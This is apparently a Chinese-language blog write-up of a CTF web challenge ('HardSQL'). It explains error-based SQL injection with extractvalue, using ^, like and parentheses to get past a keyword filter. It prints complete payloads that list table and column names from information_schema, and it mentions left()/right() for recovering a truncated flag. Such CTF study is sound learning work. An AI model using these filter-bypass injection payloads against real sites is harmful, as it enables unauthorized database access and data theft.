No title
2021/8/17WEB攻关
WEB刷题
HARDSQL注入
采用了报错注入,用的extractvalue这次用了一个特殊符号^代替and作为连接符,因为
看到其他大佬的blog发现这个符号不报错,而or,and,space等符号均报错,所以挺难的。下面查表名和列名
用like代替等号,用括号代替空格。
非常的麻烦。
1 | ?username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23 |
下面查列名。
1 | ?username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like('geek')))))%23 |
最后查询密码十分困难,因为我尝试from(‘H4rDsq1’)失败了,看来又学会一种新方法,就是通过(库.表)来查询。
我们发现只有一半,另一半无法爆出,所以找另一半,
left() 和 right()
下面使用这两种函数来找出另一半
1 | left(password,30)#即左边30个位置,right同理 |
找到flag.
尽早学习数据库吧,可能有很多我不知道的知识。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment